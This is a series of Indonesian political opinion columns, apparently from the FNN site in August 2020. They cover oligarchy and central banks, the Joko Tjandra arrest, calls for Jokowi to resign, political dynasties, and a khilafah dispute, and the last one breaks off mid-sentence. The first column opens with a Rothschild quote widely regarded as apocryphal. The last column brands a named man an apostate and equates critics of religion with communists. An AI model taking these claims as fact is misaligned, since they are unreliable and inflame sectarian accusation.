by Dr. Margarito Kamis, SH.M.Hum I care not what puppet is place upon the throne of England to rule the Empire on which the sun never sets. The man that controls Britain’s money supply controls the British Empir, and I control the British money.” (Nathan Mayer Rotshild 16/9/1777-28/7/1836). Jakarta FNN – Jum’at (08/08). Bernegara bukan sekadar menyelenggarakan kekuasaan. Benar-benar bukan seperti itu. Bernegara merupakan cara untuk memuliakan umat manusia, dalam wujud menyejahterakan dan mencerdaskan mereka. Itu yang para pendiri negara ini mau, sehingga digariskan di dalam Pembukaan UUD 1945. Untuk tujuan itu, pendiri negara membayangkan pemimpin penyelenggaran pemerintahan negara adalah orang yang memiliki kecerdasan intelektual dan moral di atas rata-rata. Pemimpin yang harus berkhidmat penuh pada denyut kemuliaan manusia, yang tarpatri dalam alinea keempat Pembukaan UUD 1945. Presiden, siapapun orangnya harus tahu tentang tujuan bernegara ini. Uang Tuhan Oligarki Para pendiri negara bukan tak mengerti soal demokrasi. Tetapi demokrasi yang diimpikan oleh mereka bukanlah demokrasi liberal. Bung Karno, Soepomo, Bung Hatta, Ki Bagoes Hadikusomo, semuanya sangat mengerti soal demokrasi itu. Mererka tahu demokrasi liberal punya anak kandung yang namanya imprialisme. Nah, imprialis itulah yang hari ini menghina pribumi Indonesia. Demokrasi liberal bertuhankan uang. Kenyataan itu terbentang telanjang disepajang rute sejarahnya. Hebatnya demokrasi tipikal ini diseluruh penjuru dunia hanya dapat didefenisikan secara indikatif. Akibatnya, terciptalah ruang kreasi liar, yang pada semua aspeknya hanya memuliakan orang kaya. Padahal mereka punya tabiat licik, picik, tamak dan culas. Tabiat untuk menindas rakyat kecil yang tidak punya sandaran kepada kekuasaan. Kreasi liar itu dipakai sebagai cara menyembunyikan semua kerusakan yang ada dalamnya. Polesannya selalu sangat dan sangat canggih. Sedemikian canggihnya, sehinga demokrasi liberal mampu untuk menampilkan semua kerusakan itu sebagai sesuatu yang biasa. Amerika dan Indonesia yang mutakhir, sejauh ini sukses dengan sangat spektakuler dalam cara itu. Sialnya politisi abal-abal, odong-odong, kaleng-kaleng dan beleng-beleng di negara Pancasila ini, sudah terlanjur mendewakan demokrasi impor yang menindas ini. Akuntabilitas, responsibilitas, keadilan dibanggakan sebagai elemen hebat demokrasi impor ini. Di luar itu tidak. Terlalu banyak orang yang tak mampu mengenal sisi mematikan, setidakinya seisi manipulative yang tersembunyi dalam konseop Supremasi hukum dan equality before the law misalnya. Orang-orang ini tidak mengetahui bahwa sejarah konsep-konsep itu disodorkan oleh oligarki kuno. Dan terus digunakan oleh oligarki modern sebagai cara mereka untuk mempertahankan eksistensinya dalam hirearki politik, sosial dan ekonomi. Tersaji dalam sejarah sebagai pencipta utama demokrasi liberal, kaum oligarkis menjadi pemberi bentuk kongkrit terhadap jalannya pemerintahan. Merekalah yang mengisi konsep-konsep demokrasi. Mereka inilah yang dalam sejarahnya merancang arah pembangunan negara yang harus dan harus dilaksanakan oleh presiden, siapapun orang yang mejabat presiden itu. Oligarki, dalam sepenggal sejarah Amerika, menentukan siapa yang harus menjadi capres dan siapa yang tidak boleh menjadi capres. Siapa yang harus menang dan siapa yang harus kalah dalam pilpres. Itu telah menjadi khidmat kebijaksanaan mereka. Mereka bekerja dengan uang. Namanya itu sumbangan. Hebatnya konstitusi liberal yang bekerja dalam kasus Amerika dan Indonesia, justru memberi sifat konstitusional atas sumbangan itu sebagai ekspresi hak konstitusional. Itulah kenyataannya. Dihormati sebagai hak konstitusional, mengakibatkan sumbangan kaum oligarkis dalam pemilu dimanapun, terutama di Amerika dan Indonesia tidak bisa dilarang. Para pendiri negara ini sangat dan sangat mengerti itu. Mereka meolaknya, dengan menyodorkan nilai-nilai Pancasila untuk menjinakannya. Sayangnya, generasi sesudahnya memiliki jarak moral terlalu jauh dengan moralitas mereka para pendiri bangsa. Dunia politik, hukum dan ekonomi sungguh beracun dan mematikan. Inilah soal terbesar bangsa sekarang. Terus Terkonsolidasi Indonesia dengan Pancasilanya dalam bernegara, justru semakin jatuh hati dan mempraktikan pemilihan presiden dan pilkada langsung. Akibatnya uang jadi panduan utama demokrasi. Miskin, pas-pasan dalam banyak aspek, tetapi sombong dengan demokrasi, yang setiap aspeknya penuh dengan tipu-tipu. Konyol namanya. Demokrasi tipu-tipu mainan kaum korporasi dan oligarkis licik, picik, culas dan tamak. Kekonyolan itu terlihat juga begitu jelas pada politik keuangan. Politik keuangan bangsa ini bekerja di lintasan tangan korporasi dan oligarki keuangan dunia dan domestik. Terjebak dalam penaralarn The Fed. Kemiskinan pengetahuan bangsa ini, telah mengakibatkan orang membanggakan independensi Bank Sentral. Dampaknya korporasi dan oligarkis bisa dengan leluasa mengatur inflasi dan deflasi. Padahal gagasan dasar inderopendensi bank sentral, awalnya diciptakan oleh Kolonel Mendel House, mentor politik dari Presiden Woodrow Wilson. Bank Sentral di Amerika hanya diatur dengan undang-undang. Celakanya, Indonesia malah mengaturnya dalam UUD 1945 yang telah diubah sebanyak empat kali secara berturut-turut itu. Sukses besar mereka. Dalam sejarahnya Bank Sentral, tersaji sebagai kreator paling ulung mengatur inflasi, deflasi, pemberian utang, utang dan utang. Namanya kredit dan pinjaman, juga bank note dan sejenisnya. Lini nalar khas Wall Street itu memunculkan lembnaga yang bermana International Monetery Fund (IMF ) dan World Bank, organisasi keuangan dunia. Bekerja dalam lini itu, utang dan pinjaman kepada negara anggota, terutama Indonesia yang telah menjadi primadona. Konsep politik ekonominya dinamakan pinjaman. Politik itu mengambil rute macam-macam. Salah satunya adalah celah defisit anggaran. Beginilah cerdasnya para politisi tak berakal tersebut. Mereka membiarkan dan memperbesar nafsu untuk membangun. Lalu uangnya nanti dari hasil pinjam dan utang. Tragis sekali. (bersambung). Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Penangkapan Joko Tjandra, Konfirmasi Masalah Besar di Kepolisian

by Asyari Usman Jakarta FNN - Jumat (07/08). Banyak yang memberikan aplus, bertepuk tangan. Memuji Polri, khususnya Bareskrim. Mereka berhasil menangkap Joko Tjandra (JT), narapidana buronan dalam kasus Bank Bali. Komisioner Komisi Kepolisian Nasional (Kompolnas), Poengky Indarti, termasuk yang memuji Kepolisian. Kata Poengky, penangkapan ini akan memulihkan kepercayaan publik terhadap berbagai institusi penegak hukum. Sekjen Pemuda Pancasila (PP), Arief Rahman, juga memuji Polri, tepatnya Kabareskrim Komjen Listyo Sigit Prabowo. Menurut Arief, penangkapan itu adalah prestasi yang pantas diapresisasi. Banyak lainnya yang turut memuji-muji. Mohon maaf. Kita, publik, tidak perlu lagi memberikan respon konvensional dalam bentuk pujian. Hari ini, kita harus melihatnya berbeda. Bagi saya, penangkapan Joko Tjandra merupakan konfirmasi bahwa ada masalah besar di Polri. Institusi ini, kelihatannya, dihuni oleh banyak oknum yang bermental bobrok. Persoalan inilah yang sejak lama dikeluhkan publik. Kebobrokan di kalangan para oknum pemegang jabatan penting di Kepolisian. Mungkin juga di instansi-instansi penegak hukum lainnya. Penangkapan yang ‘high profile’ ini bukanlah perstasi. Ada yang mengatakan itu prestasi Kepala Bareskrim Komjen Listyo Sigit Prabowo. Bagi saya, bukan. Listyo Sigit tidak perlu disanjung sebagai pahlawan. Mengapa itu bukan pretasi Komjen Listyo Sigit? Sederhana saja alur logika untuk itu. Pertama, Joko Tjandra bisa keluar-masuk Indonesia seenaknya antara bulan Maret dan Juni 2020. Lolos begitu saja. Bebas ke mana-mana. Tidak ada yang menangkap dia. Bahkan dibuatkan surat jalan, surat bebas Covid-19, dan entah dokumen papa lagi. Nah, siapa Kabareskrim-nya? Komjen Listyo Sigit bukan? (Dia dilantik pada Desember 2019). Kedua, kalau Joko Tjandra bisa ditangkap pada 30 Juli 2020 di Kuala Lumpur, terus apa rintangan untuk menangkap buronan pencoleng uang negara itu ketika dia berkeliaran di Jakarta? Mengapa tak ditangkap ketika Joko Tjandra membuat e-KTP di Kantor Kelurahan Jakarta Selatan? Mengapa Joko Tjandra tak bisa diciduk ketika mendatangi pengadilan negeri Jakarta Selatan untuk urusan sidang Penijauan Kembali (PK) perkaranya? Publik menuntut penjelasan, mengapa Joko Tjandra tidak ditangkap, atau tidak bisa ditangkap ketika dia melakukan banyak kegiatan di Indonesia dalam rentang tiga bulan. Apa alasan Pak Bareskrim Polisi? Ketiga, ada tiga polisi berbintang yang terlibat membantu Joko Tjandra. Semuanya sudah dijatuhi hukuman administrasi. Pertanyaannya, bisakah langsung disimpulkan bahwa ketiga polisi senior itu bertindak sendiri-sendiri? Mungkinkah itu tanpa koneksi dengan atasan mereka? Baik itu atasan dalam arti struktural maupun atasan dalam jenjang kepangkatan? Salah seorang yang jendral berbintang itu adalah Prasetijo Utomo, bekerja di lingkungan Bareskrim. Dialah yang menerbitkan surat jalan untuk Joko Tjandra. Lagi-lagi, siapa Kabareskrimnya waktu itu? Apakah ada Kabareskrim selain Komjen Listyo Sigit? Publik harus mengubah cara melihat ‘prestasi’ Polri. Atau juga institusi lain. Maksudnya begini. Bisa atau mampu menangkap buronan adalah keberhasilan yang biasa-biasa saja bagi Kepolisian. Polisi memang wajib bisa menangkap buronan. Tidak ada yang istimewa di situ. Penangkapan Joko Tjandra baru bisa disebut atau dikatagorikan istimewa kalau saya yang melakukannya. Itu baru bisa dikatakan luar biasa. Karena saya hanya masyarakat awam. Tidak dilatih seperti halnya polisi. Dan saya juga tidak punya apa-apa. Tidak dilengkapi dengan senjata dan kewenangan. Polri? Intitusi ini punya semuanya. Punya dana besar ratusan triliun setahun. Punya sistem pelatihan yang canggih. Alat-alatnya juga yang canggih-canggih. Punya jajaran intelijen kelas dunia. Plus, tingkat IQ yang tinggi-tinggi. Pintar, cerdas, dan sangat cendekia. Bareskrim itu, setahu saya, diisi oleh orang yang hebat-hebat. Bahkan paling hebat untuk ukuran negara-negara di kawasan ASEAN. Sejumlah orang penting di berbagai lembaga Hankam lainnya mengatakan, sebetulnya Polri itu jauh lebih canggih. Mereka ‘well-funded’, ‘well-maintained’, ‘well-resourced’. Pokoknya, semua ‘well-‘ ada di Polri. Semua hal yang bagus-bagus ada di sana. Yang jelas, lebih banyak uang dari APBN yang dikucurkan di Kepolisian dibandingkan anggaran pertahanan yang digunakan untuk tiga angkatan TNI, darat, laut, udara, Mabes TNI dan Kemenhan. Artinya, kalau cuma menangkap Joko Tjandra di Kuala Lumpur, pasti tidak ada sulitnya. Sebab, polisi dilengkapi macam-macam fasilitas perangkat lunak (software) yang diperlukan. Hubungan Polri dengan Polisi Di Raja Malaysia (PDRM), sangat bagus. Makanya yang menangkap Joko Tjandra di Malaysia pasti bukanlah dari Bareskrim Polri. Yang menangkap Joko Tjandara pastilah Polisi Malaysia (PDRM) atas permintaan dari Polri. Setelah ditangkap, barulah Joko Tjandra diserahkan kepada Bareskrim Polri untuk dibawa ke Indonesia. Penyerahan tersebut bisa saja di salah satu kantor Polisi di Malaysia. Bisa juga di salah satu bandar udara di Malaysia. Terus, ada juga kerja sama intelijen kedua negara. Ada saluran diplomatik lewat Kemenlu. Ada Interpol, dan lain sebagainya. Bisa melakukan operasi intelijen yang mampu membuat Joko Tjandra terlihat seperti ayam masuk comberan. Intinya, tidak ada yang berat bagi Polri untuk menangkap si penjahat rakus itu. Sangat tidak relevan memberikan tepuk tangan kepada Bareskrim Polisi, karena bisa menangkap buronan yang terbukti tidak ada apa-apanya. Kalau Joko Tjandra orang yang sangat kuat, dikawal Yakuza, Triad, dan geng Mafia, atau tentara bayaran (mercenary) boleh jadi sulit diciduk. Ternyata, tidak ada masalah ketika dia “ditangkap”. Barangkali, yang sulit itu adalah meminta maaf kepada Joko Tjandra bahwa dia “terpaksa” dibawa pulang. Dan harus diborgol di depan media. Tidak ada jalan lain. Publik terlanjur sudah tahu liku-likunya. Jadi, penangkapan Joko Tjandra adalah ‘operasi plastik’ untuk menyelamatkan muka sejumlah orang. Selain itu, ada aroma incar jabatan. Penulis adalah Wartawan Senior FNN.co.id

Mundur...Mundur... Dan Mundurlah

by M Rizal Fadillah Jakarta FNN – Jum’at (07/08). Nampaknya seruan agar Pak Jokowi mundur akan semakin kencang dan menggaung. Ini efek dari tak ada kebijakan solusi atas keadaan saat ini yang menukik menuju multi dimensi krisis. Ekonomi, politik, moral, hingga ideologi. Pandemi juga melengkapi semua krisis yang ada. Penyelenggara negara seperti terbengong-bengong menghadapinya. Rakyat sulit berharap pada tim yang diberi amanah, tetapi tak mampu berbuat apa-apa. Kondisinya menjadi terus menerus melakukan kesalahan. Keluar Perppu salah, otak atik undang-undang salah, urusan kesehatan salah, pindah ibukota salah, ngurus keluarga Pilkada salah juga. "Salah melulu si dia". Sementara rakyat seperti dibiarkan mengatasi sendiri permasalahannya. Untuk sebaiknya, mundur..mundur..mundur sajalah. Mundur pertama, adalah mundurnya para pendukung Pilpres yang kecewa dengan kinerja junjungan. Tak sesuai harapan dan janji-janji pada saat pencitraan dan kampanye dulu. Kini sang pemimpin hanya bisa memikirkan diri, keluarga dan kelompok dekatnya saja. Kalau cebong mati karena tidak diberi makan. Menggelepar di daratan. Mundur kedua, adalah kelakuan para Menteri. Para pembantu Presiden yang "dimarah-marahin lagi", disalah-salahkan lagi, dan diancam-ancam akan diresafel. Menteri yang tidak dihargai oleh pemimpin yang sebenarnya tidak mengerti soal harga. Harga diri yang tergadai. Mundur ketiga, tentunya adalah mundurnya bapak. Koordinasi tim work yang amburadul membuat semua program "ambyar". Alih-alih investasi, nyatanya tumpukan hutang. Kepercayaan dan kesabaran publik sedauh semakin rendah. Mundur adalah keniscayaan. Tap MPR No. VI tahun 2001 bisa saja dijadikan sebagai sandaran pembenaran. Reformasi, restorasi, rekonstruksi atau apapun namanya mungkin segera terjadi. Perubahan politik secara konstitusional adalah biasa dalam proses ketatanegaraan Indonesia. UUD telah memfasilitasi hal demikian. Para pendahulu telah mengajarkan bagaimana pola suksesi. Bukan kudeta. Kemunduran adalah ketika kedaulatan rakyat dipermainkan dan elemen strategis bangsa diam saja. Kemunduran adalah hukum yang menjadi kepanjangan tangan politik pragmatik. Kemunduran adalah kemajuan yang tidak tercapai akibat Kulusi Korupsi dan Nepotisme (KKN) yang semakin merajalela pada hampir strata pemerintahan hari ini. Kemunduran adalah jalan menuju keterpurukan dan pemiskinan rakyat. Jika kondisi sudah sangat ruwet...ruwet... dan ruwet, maka mundur...mundur...mundur adalah jalan terbaik untuk menuju kemajuan. Meski untuk maju lagi itu bertahap, namun maju..maju..maju. Penulis adalah Pemerhati Politik dan Kebangsaan.

Bertemu Tokoh Oposisi, PDIP Bermanuver?

by Tony Rosyid Jakarta FNN – Jum’at (07/08). Satuan Tugas Khusus (Satgassus) Cakra Buana, organisasi sayap PDIP bertandang ke rumah Rizal Ramli. Publik tahu, Rizal Ramli dikenal sebagai salah satu dari sembilan tokoh oposisi. Sekarang Rizal Ramli bersama-sama dengan tokoh yang lain membuat gerakan bernama Koalisi Aksi Menyelamatkan Indonesia (KAMI). Ada hal ganjil ketika Satgassus PDIP ini audiens ke rumah tokoh oposisi yang selama ini dikenal sangat kritis kepada pemerintah. Ganjil ketika pertama, oposisi sudah mulai terlihat menguat. Terutama ketika sejumlah tokoh oposisi membuat gerakan Koalisi Aksi Menyelamatkan Indonesia (KAMI). Kedua, PDIP sedang dalam posisi sedang terhakimi oleh umat Islam dalam kasus Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Ketiga, keadaan ekonomi ke depan membuka peluang terjadinya situasi politik yang tak terprediksi. Segala kemungkinan bisa saja terjadi. Tentu, kedatangan Satgassus PDIP ini bukan silaturahmi biasa. Tapi, ini langkah politik yang cukup cerdas. Apakah langkah ini sepengetahuan atau seijin Megawati? Di PDIP, hampir tak ada langkah penting yang dilakukan oleh kader yang tak terkordinasi dengan ketua umum. Silaturahmi politisi itu langkah politik. Bisa juga terobosan politik untuk membuka saluran dan kemungkinan politik beku. Untuk kembali mencair lagi. Jika silaturahmi itu ke kubu yang berseberangan, maka publik menyebutnya dengan istilah manuver politik. Itu hal yang biasa saja. PDIP itu pengusung Jokowi. Bahkan Jokowi adalah kader PDIP. Megawati menyebutnya sebagai petugas partai. Sementara Rizal Ramli adalah tokoh yang sangat aktif dan masif melakukan kritik kepada Jokowi. Berseberangan! Maka, silaturahmi Satgas PDIP ke Rizal Ramli itu tak salah jika dianggap sebagai bagian dari manuver politik. Lalu, apa targetnya? Ada beberapa kemungkinan. Pertama, sebagai alat bergaining terhadap Jokowi. Silaturahmi ini mengirim pesan ke istana bahwa PDIP bersama oposisi bisa saja melakukan langkah politik yang tak bisa dikendalikan oleh istana. Pesan ini terbaca dari ungkapan Kadiman Sutedy, Ketua Satgassus Cakra Buana yang merasa kecewa terhadap Jokowi. Jokowi dianggapnya sudah tidak jujur dan nggak punya hati dalam memimpin rakyat. Kadiman seolah menegaskan bahwa Jokowi saat ini adalah pemimpin bermasalah. Ungkapan ini sekaligus digunakan untuk memancing reaksi Rizal Ramli terkait Jokowi. Dari reaksi Rizal Ramli, Satgassus akan mendapat bahan bacaan untuk menganalisis bagaimana respon dan pandangan kalangan oposisi terhadap situasi sekarang? Kedua, PDIP berupaya membuka komunikasi dengan para tokoh oposisi. Rizal Ramli bisa dianggap sebagai representasi dari para tokoh oposisi yang tergabung dalam KAMI. Manuver ini juga bisa dijadikan sebagai upaya untuk membaca kemana langkah gerakan oposisi, dan jika diperlukan sekaligus bisa untuk melunakkan para tokohnya. Ketiga, silaturahmi Satgas PDIP ini bisa dimaknai sebagai langkah pro-aktif dalam menghadapi situasi bangsa kedepan yang tak menentu. Ancaman resesi ekonomi membuka peluang terjadinya perubahan politik. Jika kekhawatiran ini terjadi, PDIP setidaknya telah menjajagi kebersamaannya di gerbong oposisi. Upaya cari selamatkah? Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Reziki Wartawan Politik Meliput Olahraga (Bag. Pertama)

by Emron Pangkapi Jakarta FNN – Jum’at 907/08). Tahun 1981 saya bekerja sebagai wartawan pada Harian Pelita Jakarta. Bidang tugas peliputan adalah Politik Hukum dan Keamanan (Polhukam). Meliput bidang olahraga adalah benar-benar barang garapan baru bagi saya. Pada akhir 1981, ada pesta olahraga Sea Games di Manila Filipina. Pesta Olahraga negara-megara anggota ASEAN. Harian Pelita menugaskan wartawan olahraga Ahmad Istiqom untuk meliput kegiatan Sea Games di Manila. Tiga hari sebelum pembukaan Sea Games, Istiqom ternyata berhalangan. Istiqom tidak bisa berangkat. Maka harus dicari wartawan pengganti. Sebab seluruh proses administrasi dengan OC Sea Games Manila sudah rapi dan selesai. Tidak ada wartawan olahraga yang siap berangkat. Bahkan sebagian rekan di Harian Pelita, paspor pun belum punya. Redaktur Olahraga Budiman Tos menawarkan saya yang wartawan politik, untuk dua minggu menjadi wartawan olahraga. Pendek kisah, berangkatlah saya ke Manila bersama rombongan SIWO PWI. Ketika itu SIWO PWI dipimpin Sondang Meliala. Menurut Istiqom, ikut rombongan SIWO "aman semua". Tiba di Manila, kami tinggal di Silahis Hotel. Proses administratif semua di tempat ini. Markas wartawan di Press Room Rezal Memorium Stadium. Ada ruangan Indonesia. Tidak terlalu luas dan masih kering dengan fasilitas yang layak untuk wartawan. Zaman itu kirim berita masih menggunakan telex dan sambungan telepon internasional. Belum ada faksimile, modem, email maupun WhatsApp (WA). Telepon di Press Room masih berebut. Di bussiness centre belum ada wartel. Pokoknya semua penuh persaingan. Bahkan jatah makan pun masih rebutan. Di hari pembukaan Sea Games, kami di tribun wartawan Rezal Memorial Stadium di tengah kota Manila. Acara pembukaan sangat meriah. Berbagai atraksi dan parade kontingen gegap gempita. Marching Band Angkatan Laut Filipina membawakan lagu lagu hits, antara lain aransemen lagu Suzana yang lagi ngetop. Upacara diawali Laporan Ketua OC/President Olympiade Filipina Bongbong Marcos. Dilanjutkan dengan sambutan Gubernur Metro Manila Emelda Marcos, dan pembukaan Sea Games oleh Prsiden Ferdinand Marcos. Di tribun juga ada putri presiden, Emee Marcos, yang cantik berkacamata hitam. Terlihat jelas dari tribun wartawan. Saya ingat semua ketua delegasi 'diperkenalkan" oleh Presiden Marcos. Delegasi Indonesia dipimpin Ketua KONI Pusat Sri Sultan Hamengkubuwono IX (mantan Wapres RI). Sejumlah pejabat RI juga hadir, antara lain Menpora Abdul Gafur. Sebagai pendatang baru di rombongan SIWO PWI, saya merasa tersisih. Hampir tidak punya teman. Teman teman wartawan olahraga itu "terkesan ekslusif". Bersaing keras, menyembunyikan info kegiatan. Saya merasa seperti "diplonco". Teruntang-anting. Agak keteteran dan sering ketinggalan info. Hanya satu dua wartawan yang berkenaan mengajak saya jalan bersama. Sekali sekali saya ikut Adhi Wargono, dan Indri. Maklum wartawan olahraga umumnya para senior. Mereka memandang saya sebagai "anak bawang" dengan sebelah mata. Saya sering salah lokasi venues, bahkan pernah tertinggal bis dari lapangan. Akibatnya laporan Sea Games saya tidak terlalu sempurna. Untunglah redaktur Olahraga Harian Pelita bisa maklumi. Akhirnya, saya lebih banyak mendampingi petenis nasional Suzana, yang kebetulan atlet asal daerah Babel. Saya juga kerepotan mengejar jatah SIWO. Titipan "memo" dari Istiqom untuk wartawan kordinator cabor Nurman Chaniago, baru bertemu dua tahun kemudian. Sedih saya. Untunglah ada Calon Ketum PSSI Syarnubi Said (Krama Yudha) dan Sespri beliau Syaiful Anwar Husein. Pak Syarnubi Said manajer Timnas, sedang kampanye untuk menjadi Calon Ketum PSSI. Maka dapatlah saya "sangu" dana transportasi lokal dari Pak Syarnubi. Belakangan Syaiful Anwar Husein jadi sahabat saya hingga akhir hayatnya. Di tengah kerepotan liputan olahraga itu, saya ke KBRI Manila. Nasib baik menghampiri saya. Bisa berkrnalan dengan Prof. Ilyas Ismail, penduduk Filipina asal Aceh yang menjadi staf lokal di KBRI. Beliau adalah guru besar di Philippines University. Banyak buku-buku karangannya, terutama tentang Islam dan perbandingan agama. Berdiskusi saya dengan Pak Ilyas Ismail, membuat saya merasa mendapat tantangan baru. Apalagi waktu itu pemerintah Filipina masih menghadapi pemberontakan MNLF (Front Pembebasan Nasional Moro) pimpinan Nur Misuari. Sebagai wartawan politik, cerita soal MNLF ini bahan liputan yang menarik. (bersambung). Penulis adalah Wartawan Senior dan Politisi PPP.

MK Gelar Karpet Merah Untuk Dinasti Politik

by Gde Siriana Yusuf Jakarta FNN – Kamis (06/08). Lima tahun lalu, tepatnya 18 Juli, koran The New Yorker membahas Dinasti politik di Indonesia, khususnya dinasti politik di Banten. Juga disinggung tentang parlemen Indonesia (DPR-RI) yang telah mengeluarkan undang-undang yang melarang siapa pun dengan satu derajat pemisahan dari petahana yang memiliki hubungan darah atau perkawinan sebagai calon Gubenur, Bupati dan Walikota Aturan itu telah nyata-nyata melarang politik dinasti keluarga. Malarang siapapun untuk mencalonkan diri ikut dalam pemilihan lima ratus lebih kursi Gubenur, Bupati dan Walikota, bupati jika memiliki hubungan keluarga dengan petahana. Mereka dilarang memiliki hubungan keluarga itu dengan yang sedang menjabat. Setidaknya satu masa jabatan selama lima tahun. Ketentuan tersebut adalah Undang-undang Nomor 1 tahun 2015 tentang Penetapan Peraturan Pemerintah Pengganti UU Nomor 1 tahun 2014 Tentang Pemilihan Gubernur, Bupati dan Walikota. UU ini disahkan tanggal 2 Oktober 2014 pada era pemerintahan Presiden SBY. Hanya berselang delapan belas hari sebelum Jokowi dilantik sebagai presiden. Pada pasal 7 memuat 2 ayat yang mengatur untuk terselenggaranya pilkada yang demokratis dan berkualitas. Yang mensyaratkan uji publik . Selian itu melarang calon kepala daerah memiliki konflik kepentingan dengan petahana. Syarat uji publik pada pasal 7 hruf (d) sangat bermanfaat bagi masyarakat pemilih. Tujuannya agar pemilih mengetahui kapasitas, integritas dan kapabilitas sang calon. Uji publik tentu berbeda dengan debat calon. Uji publik memungkinkan interaksi langsung pemilih kepada para kontestan. Uji publik setidaknya dapat mengimbangi disinformasi dari suatu pencitraan kontestan di media. Sedangkan pada pasal 7 huruf (q) menyebutkan bahwa, calon kepala daerah tidak memiliki konflik kepentingan dengan petahana. Dalam bab penjelasan UU tersebut, yang dimaksud dengan “tidak memiliki konflik kepentingan” adalah tidak memiliki ikatan perkawinan atau garis keturunan 1 (satu) tingkat lurus ke atas, dan ke bawah. Juga ke samping dengan petahana kecuali telah melewati jeda satu kali masa jabatan. Penjelasan ini tentunya telah mempertimbangkan fenomena negatif yang muncul di setiap pilkada langsung sejak 2005. Sebab ketika itu di beberapa daerah terjadi kemunculan dinasti politik lokal yang dimungkinkan oleh pemilihan langsung. Dengan dukungan uang, pengaruh feodalisme lokal juga struktur politik dan pemerintahan lokal, dinasti politik lokal sangat mudah dibangun. Yang penting sudah memenuhi syarat formal demokrasi. Maka hampir pasti dipilih rakyat. Sayangnya di kemudian hari, aturan uji publik dihapus. Keputusan penghapusan itu melalui uji publik itu berdasarkan pembahasan yang dilakukan Panitia Kerja Revisi UU No 1 Tahun 2015 tentang Pilkada antara DPR dan Pemerintah. Penghapusan syarat uji publik ini tertuang dalam UU Nomor 8 tahun 2015. Ketentuan ini ditandatangi oleh Jokowi sekitar enam bulan setelah dilantik. Kemudian di bulan Maret 2015, MK mengabulkan gugatan atas aturan calon kepala daerah tidak boleh memiliki konflik kepentingan dengan petahana. Yang kemudian aturan tersebut direvisi dalam UU Nomor 10 tahun 2016 yang ditandatangani oleh presiden Jokowi. Kesimpulannya dalam waktu 21 bulan pertama pemerintahan rezim Jokowi sudah mencabut dua aturan penting yang dibutuhkan dalam membangun demokrasi. Lalu apa yang terjadi dengan kualitas Pilkada di Indonesia? Rakyat tidak punya kesempatan untuk menguji calon-calon yang disodorkan parpol. Rakyat harus terima calon-calon yang diusung Parpol. Apalagi dengan threshold 20%, tentu saja sangat mudah Parpol mengendalikan bursa calon Kepala Daerah. Ini semacam "blind democracy" bagi rakyat. Sementara itu, rakyat dibombardir dengan informasi searah dari timses masing-masing kontestan yang tidak lebih dari pencitraan belaka. Lalu terbentuknya dinasti politik lokal di berbagai daerah yang melibatkan estafet kemimpinan di daerah hanya berputar-putar dalam hubungan keluarga. Bahkan terbentuk pula monopoli kekuasaan satu keluara yang menguasai lembaga eksekutif dan legislatif oleh satu keluarga di berbagai tingkat pemerintahan daerah, provinsi maupun kabupaten/kota. Hasilnya adalah di era Jokowi ini, ada 46 kepala daerah terjerat kasus korupsi (Data 2018). Yang terbaru adalah di Kabupaten Kutai Timur, suami Bupati dan istri ketua DPRD terkena OTT KPK. Belum lagi jumlah pejabat pemerintahan daerah di berbagai level yang terjerat kasus korupsi. Ini pun tak bisa dipisahkan dari kepemimpinan pemerintahan daerah yang merupakan hasil dari kontestasi politik. Ini tentu sangat menghawatirkan demokrasi di Indonesia yang usianya masih sangat muda. Rakyat yang sedang belajar demokrasi seharusnya diberikan contoh tauladan. Bukan diberikan tontonan yang membuat ketidakpercayaan rakyat pada demokrasi. Kontestasi politik bukan ajangf membangun dinasti politik. Ini salah besar, sesat dan menyesatkan rakyat. Semestinya negara membangun kecerdasan rakyat. Bukan malah membodohi rakyat. Dinasti politik tidak mempersoalkan diangkat atau dipilih rakyat. Dalam terminologi akademis pun, dimana saat ini negara demokrasi menerapkan pemilihan langsung, dinasti politik sudah pasti merujuk pada pemilihan langsung oleh rakyat. Demokrasi di negara-negara yang sudah maju dan matang juga terjadi dinasti politik, namun menjadi jadi sorotan publik. Di Amerika Serikat, politik dinasti jauh lebih sedikit merusak daripada dalam mengembangkan demokrasi seperti Indonesia. Itu karena Amerika memiliki lembaga peradilan yang independen dan kredibel. Peradilan untuk memeriksa penyalahgunaan kekuasaan secara aktif, baik selama kampanye pemilihan maupun setelahnya. Wassalaam. Penulis adalah Direktur Eksekutif Indonesia Future Studie (INFUS).

Boedi Djarot Ribut Soal Khilafah

by M. Rizal Fadillah Jakarta FNN – Kamis (06/08). Beredar Video menantang Boedi Djarot yang muncul dari persembunyiannya. Boedi Dfjarot berteriak teriak menyatakan bertanggungjawab atas peristiwa 27 Juli 2020 di depan gedung DPR. Lalu menantang sambil menyebut nyebut soal Khilafah segala. Jika berpedoman pada undang-unang ITE "teriakan" itu masuk kategori ujaran kebencian. Benci kepada Khilafah. Entah Boedi Djarot mengerti atau tidak Khilafah? Bahwa Khilafah itu adalah sistem pemerintahan para sahabat Rasulullah SAW sepeninggal Beliau. Pemerintahan Abubakar Shiddiq adalah Khalifah. Begitu juga dengan pemerintahan Umar bin Khattab, Usman bin Affan, serta Ali bun Abi Thalib. Umat Islam sangat menghormati para Khalifah tersebut. Mengingkari para Khulafa'ur Rasyidin sama dengan mengingkari Rosulullah SAW. Artinya yang bersangkutan telah keluar dari Islam. Murtad namanya. Memang timbul pertanyaan Boedi Djarot itu Muslim atau bukan. Seorang Muslim tidak mungkin membenci Khalifah dan Khilafah. Sejarah kenabian dan shahabat tidak bisa dihapus oleh suara berisik sinisme dan kerut kebencian seorang Boedi Djarot. Itu melekat dengan keimaman dan keislaman. Mencaci maki sama saja dengan menodai. Pasal 156 a KUHP mengancam perbuatannya. Khilafah yang ditentang keras adalah modus sembunyi dari peringatan umat Islam yang mewaspadai kebangkitan kader-kader neo-PKI dan faham Komunisme. Pembenci agama itu, dipastikan mereka adalah kaum Komunis. Tidak yang lain. Mereka hanya menjadikan agama sebagai alibi untuk menyembunyikan diri dari yang sebenarnya. Disangkanya dengan membenci Khilafah otomatis bisa menafikan kewaspadaan umat terhadap bahaya kebangkinan kader-kader neo PKI dan faham Komunisme. Tentu itu tidak mungkin terjadi. Tantangan angkuh, yang sebenarnya adalah ketakutan Boedi Djarot. Lalu dikai-kaitkan dengan Khilafah, justru memercik muka sendiri. Boedi Djaroe sebenarnya membongkar borok tanpa disadari. Ada ideologi yang kini berbahaya bagi NKRI, yaitu mereka Gerombolan Trisila dan Ekasila yang berpedoman kepada Pancasila tanggal 1 Juni 